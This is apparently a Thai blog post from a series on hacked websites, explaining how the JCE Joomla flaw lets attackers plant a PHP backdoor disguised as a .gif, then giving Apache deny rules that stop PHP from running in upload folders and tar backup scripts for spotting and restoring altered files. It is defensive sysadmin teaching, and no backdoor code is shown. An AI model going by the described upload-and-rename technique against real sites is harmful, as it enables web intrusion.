    สำหรับ JCE Exploited จะพบว่า การวางไฟล์ Backdoor จะเริ่มวางไว้ที่ไดเรคทอรี่ images/stories ที่ แกล้งเป็นไฟล์ .gif แล้วเอาโค๊ด PHP เข้ามาใส่ แล้วเปลี่ยนนามสกุลเป็น .php ภายหลัง ดังนั้น หาก Apache Web Server สามารถ ปิดกั้นตั้งแต่จุดนี้ได้ กล่าวคือ ต่อให้เอาไฟล์มาวางได้ แต่สั่งให้ทำงานไม่ได้ ก็น่าจะปลอดภัย และ หากพัฒนาเวปไซต์เอง หรือ ผู้ใช้ของระบบต้องการให้ Upload ไฟล์ไว้ในไดเรคทอรี่ใดได้ ก็ต้องแจ้งให้ Web Server Administrator รับทราบ และเพิ่มเติมให้ น่าจะทำให้ปลอดภัยมากขึ้นได้

    สมมุติฐานคือ

    1. ติดตั้ง OS และ Apache Web Server ใหม่

    2. ติดตั้ง Joomla ใหม่ หรือ เอา Web Application ที่ปลอดช่องโหว่อื่นๆ/Backdoor มาลง
      โดย Joomla ที่มีที่วางไฟล์ภาพไว้ที่ images/stories ส่วน Web Application อื่นๆ ขอสมมุติว่าตั้งชื่อไดเรคทอรี่ว่า uploads

    สำหรับ Apache2 บน Ubuntu Apache 2.2 นั้น มีโครงสร้างไดเรคทอรี่ดังนี้

    /etc/apache2/
    |-- apache2.conf
    |       `--  ports.conf
    |-- mods-enabled
    |       |-- *.load
    |       `-- *.conf
    |-- conf.d
    |       `-- *
    |-- sites-enabled
            `-- *

    เมื่อ Apache เริ่ม (Start) ก็จะไปอ่าน /etc/apache2/apache2.conf ในนั้น จะกำหนดภาพรวมของระบบ ได้แก่ ใครเป็นคน Start (APACHE_RUN_USER/APACHE_RUN_GROUP), การกำหนดชื่อไฟล์ .htaccess ที่เปิดให้ผู้ใช้ปรับแต่ง Apache ที่แต่ละไดเรคทอรี่ของตนได้, กำหนดว่า จะเรียกใช้ Module อะไรบ้าง โดยการ Include *.load, *.conf  จาก mods-enabled, กำหนดว่า จะเปิดให้มี Virtual Host อะไรบ้างโดยการ Include ไฟล์จาก sites-enabled และ ที่สำคัญ ผู้ดูแลระบบสามารถแยกไฟล์ config ออกเป็นส่วนย่อยๆเป็นไฟล์ โดยการ Include จาก conf.d

    ต่อไป สร้างไฟล์ /etc/apache2/conf.d/jce มีเนื้อหาดังนี้

    <DirectoryMatch ".*/images/stories/.*">
    <FilesMatch "\.php$">
           Order Deny,Allow
           Deny from All
     </FilesMatch>
    </DirectoryMatch>

     และในทำนองเดียวกัน สร้างไฟล์ /etc/apache2/conf.d/uploads มีเนื้อหาดังนี้

    <DirectoryMatch ".*/uploads/.*">
    <FilesMatch "\.php$">
           Order Deny,Allow
           Deny from All
     </FilesMatch>
    </DirectoryMatch>

    ก่อนจะ Restart/Reload Apache ทดสอบสร้างไฟล์ใน

    /var/www/joomla15/images/stories/0day.php
    /var/www/mywebapp/uploads/hack.php

    เมื่อเรียก URL
    http://localhost/joomla15/images/stories/0day.php

    http://localhost/mywebapp/uploads/hack.php

     ผลที่ได้คือ Backdoor หน้าตาประมาณนี้

    แต่พอใช้ Reload Apache ด้วยคำสั่ง

     sudo /etc/init.d/apache2 reload

     แล้วเรียก URL

     http://localhost/joomla15/images/stories/0day.php

     จะได้ผลดังนี้

    เป็นอันว่า แม้ Hacker จะสามารถเอาไฟล์ 0day.php ไปวางใน images/stories ได้ แต่ก็จะไม่สามารถทำงานได้ (อย่างน้อย ก็เรียกใช้ไม่ได้ แต่ผู้ดูแลต้องค้นหาและทำลายเป็นประจำ)

     อธิบายเพิ่มเติมเกี่ยวกับ Apache Configuration เล็กน้อย, การเขียนนั้น ประกอบด้วยสิ่งที่เรียกว่า Directive โดยแบ่งออกเป็น Container และ Directive ทั่วไป

    1. Container Directive: เป็นตัวบอกขอบเขต แบ่งออกเป็น

    1.1 FileSystem: ได้แก่

    1.1.1 <Directory directory-path> … </Directory>
    ตั้งค่ากับเฉพาะ ขอบเขตของ Directory ซึ่ง directory-path จะต้องเขียนตามให้เต็ม Path เช่น
    <Direcotory /var/www>
    ….
    </Directory>

    1.1.2 <DirectoryMatch regexp> … </DirectoryMatch>
    ตั้งค่ากับเฉพาะ ขอบเขตของ Directory ซึ่งสอดคล้องกับ regexp ที่กำหนด เช่น
    <DirecotoryMatch “.*/images/stories/.*”>
    ….
    </DirectoryMatch>

    1.1.3 <Files filename> … </Files>
    ตั้งค่ากับเฉพาะ ชื่อไฟล์ที่ตรงกับ filename ที่กำหนด เช่่น
    <Files “somefile.html”>

    </Files>

    1.1.4 <FilesMatch regexp> … </FilesMatch>
    ตั้งค่ากับเฉพาะ ชื่อไฟล์ที่สอดคล้องกับ regexp ที่กำหนด เช่่น
    <FilesMatch “.*\.php$”>

    </FilesMatch>

    1.2 WebSpace: ได้แก่

    1.2.1 <Location URL-Path> … </Location>
    ตั้งค่ากับเฉพาะ URL ที่ตรงกับ URL-Path เช่น
    <Location /private>

    </Location>
    1.2.2 <LocationMatch regexp> … </LocalMatch>
    ตั้งค่ากับเฉพาะ URL ที่สอดคล้องกับ regexp เช่น
    <LocationMatch “/(extra|special)/data”>

    </LocationMatch>

    2. Other Directive
    ซึ่งมีอยู่มากมาย กรุณาอ่านเพิ่มเติมจาก http://httpd.apache.org/docs/2.2/mod/core.html แต่ในที่นี้ จะขอยกตัวอย่างที่สำคัญ และจำเป็นต้องใช้ ตามตัวอย่างข้างต้น คือ

    Order ordering : อยู่ใน Module mod_access_compat, ค่า ordering ที่สามารถกำหนดได้คือ

    Allow, Deny ซึ่งจะพิจารณาการอนุญาตก่อนปฏิเสธ และ Deny, Allow จะปฏิเสะก่อนแล้วพิจารณาอนุญาต ให้เข้าถึงไฟล์ หรือ ไดเรคทอรี่ต่างๆ

    Deny all|host : อยู่ใน Module mod_access_compat, ค่า all หมายถึง ปฏิเสธทุกการเชื่อมต่อจากทุกๆที่, host สามารถเป็น IP Address หรือ URL ก็ได้

    Allow all|host : อยู่ใน Module mod_access_compat, ค่า all หมายถึง ยอมรับทุกการเชื่อมต่อจากทุกๆที่, host สามารถเป็น IP Address หรือ URL ก็ได้

    ดังนั้น ไฟล์ /etc/apache2/conf.d/jce ซึ่งมีเนื้อหาว่า

    <DirectoryMatch ".*/images/stories/.*>
     <FilesMatch "\.php$">
           Order Deny,Allow
           Deny from All
     </FilesMatch>
    </DirectoryMatch>

    หมายถึง ถ้ามีการเรียก ไฟล์ที่อยู่ใน directory อะไรก็ตามที่มีส่วนหนึ่งของ Path เป็น images/stories ก็จะ ไปดูว่า ชื่อไฟล์ที่เรียกนั้น มีนามสกุลเป็น .php หรือไม่ (.* แปลว่า ตัวอักษรอะไรก็ได้, \. หมายถึงจุด “.” ที่ใช้เชื่อม filename และ extenstion และ $ หมายถึง สิ้นสุดข้อความ) ถ้าเป็นการเรียกไฟล์ .php ใน images/stories ก็จะ ปฏิเสธเสมอ (Deny from ALL)

    แล้ว ทำไมไม่ใช่ .htaccess ?

    จาก Apache Security Tips ไม่แนะนำให้ใช้ .htaccess เพราะปัญหาด้าน Performance เพราะทุกครั้งที่จะเข้าถึงไฟล์ จะต้องพิจารณา .htaccess ทุกครั้ง ในเวปไซต์ที่มีการใช้งานมาก อาจจะทำให้ความเร็วช้าลงได้ อีกประการหนึ่ง .htaccess นั้นอยู่ในไดเรคทอรี่ที่ผู้ใช้สามารถกำหนดสิทธิ์ (Permission) เองได้ หากพลาดกำหนดให้ Web User สามารถเขียนได้ อาจจะทำให้ Hacker เลี่ยงข้อกำหนดต่างๆได้ หาก ที่ Apache Main Configuration ประกาศ AllowOverride เป็น ALL

    ขอให้โชคดี

    Reference

    [1] “Apache HTTP Server Version 2.2 Documentation – Apache HTTP …” 2005. 7 Jan. 2014 <http://httpd.apache.org/docs/2.2/> .

    [2] “Security Tips – Apache HTTP Server.” 2005. 7 Jan. 2014 <http://httpd.apache.org/docs/2.2/misc/security_tips.html>

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #11

    ตั้งแต่ วิธีตรวจสอบเว็บไซต์ที่โดน Hack #1 เป็นต้นมา เป็นการแสดงให้เห็นถึง ปัญหา, การตรวจสอบ, การค้นหา หลังจากเกิดปัญหาแล้วทั้งสิ้น ก็จะเห็นได้ว่า ยุ่งยาก และเป็นเรื่องยากมาก ที่จะค้นหา Backdoor ให้หมด และการจะกำจัดให้หมดนั้นเป็นภาระอย่างมาก

    ในบทความนี้ จะกล่าวถึง การสำรองข้อมูลไว้ พร้อมๆกับ สามารถตรวจสอบได้ว่า มี Backdoor ใดเกิดขึ้น, มีการแก้ไขไฟล์เพื่อวาง Backdoor ไว้บ้าง, มีการเปลี่ยนแปลงไฟล์ของระบบเป็น Backdoor บ้างหรือไม่ และยังสามารถ กู้ระบบกลับมาได้ แล้วจึงดำเนินการป้องกันไม่ให้เกิดขึ้นซ้ำอีกได้

    การสำรองข้อมูล หรือการ Backup มี 2 แบบ

    1. Full Backup: สำรองทุกไฟล์และไดเรกทอรี่
    2. Incremental Backup: สำรอง “เฉพาะ” ไฟล์และไดเรกทอรี่ ที่มีการเพิ่ม หรือเปลี่ยนแปลง เท่านั้น

    เครื่องมือในการ Backup มีหลายอย่าง ในบทความนี้ ขอใช้ tar เพราะสามารถใช้งานได้ง่าย
    โดยยกตัวอย่าง เป็นการ Backup /var/www/joomla15

    1. Full Backup ทำได้โดยการสร้างไฟล์ fullbackup.sh และมีข้อมูลดังนี้

    d=$(date "+%Y%m%d%H%M%S")
    cp /dev/null joomla15.snar
    tar -zcvf joomla15-full-$d.tar.gz -g joomla15.snar /var/www/joomla15

    2. Incremental Backup ทำได้โดยการสร้างไฟล์ incrementalbackup.sh และมีข้อมูลดังนี้

    d=$(date "+%Y%m%d%H%M%S")
    tar -zcvf joomla15-inc-$d.tar.gz -g joomla15.snar /var/www/joomla15

    โดยคำสั่ง tar มีคำสั่งเพิ่มเติม เล็กน้อย คือ -g ตามตัว joomla15.snar ซึ่ง จะเก็บสถานะของการ Backup ล่าสุดเอาไว้ ทำให้สามารถทราบได้ว่า มีต้อง Backup ไฟล์ใดบ้าง, ส่วน ชื่อไฟล์ .tar.gz ก็จะนำหน้าด้วย วันเวลานาที ของการทำ backup ไว้

    เมื่อทำคำสั่ง

    sh fullbackup.sh

    จะได้ไฟล์นี้

    joomla15-full-20140105004433.tar.gz

    ต่อมา สมมุติ มีการโจมตี Joomla ด้วยช่องโหว่ของ JCE แบบนี้

    jce01

    เมื่อใช้คำสั่ง

    find /var/www/ -name "*.php" -type f | grep 'images/stories'

    ได้ผลดังนี้

    /var/www/joomla15/images/stories/0day.php

    และ สมมุติ Hacker ใช้งาน Backdoor 0day.php ดังกล่าวทาง URL

    http://localhost/joomla15//images/stories/0day.php

    และ แก้ไขไฟล์

    /var/www/joomla15/CREDITS.php

    ดังนี้

    jce02

    สรุปคือ Hacker สามารถ สร้างและเปลี่ยนแปลงไฟล์

    /var/www/joomla15/images/stories/0day.php
    /var/www/joomla15/CREDITS.php

    เมื่อใช้คำสั่ง

    sh incrementalbackup.sh

    จะได้ไฟล์

    joomla15-inc-20140105021906.tar.gz

    วิธีตรวจสอบ ไฟล์ที่เพิ่มเข้ามา และมีการเปลี่ยนแปลง ใช้คำสั่ง diff โดยเอารายการของไฟล็ใน .tar.gz มาเปรียบเทียบกัน ด้วยคำสั่ง

    diff <(tar -ztvf joomla15-full-20140105004433.tar.gz) <(tar -ztvf joomla15-inc-20140105021906.tar.gz) |grep '>'

    ผลที่ได้คือ จะทราบว่ามีไฟล์ ต่อไปนี้ เพิ่ม/เปลี่ยนแปลง

    > -rw-r--r-- www-data/www-data 15571 2014-01-05 02:10 var/www/joomla15/CREDITS.php
    > -rw-r--r-- www-data/www-data 14315 2014-01-05 01:55 var/www/joomla15/images/stories/0day.php

    หาก ต้องการไฟล์ต้นฉบับของ CREDITS.php ก็ใช้คำสั่ง

    tar -zxvf joomla15-full-20140105004433.tar.gz var/www/joomla15/CREDITS.php

    ก็สามารถกู้ไฟล์เดิมกลับมาได้ครับ

    ขอให้โชคดี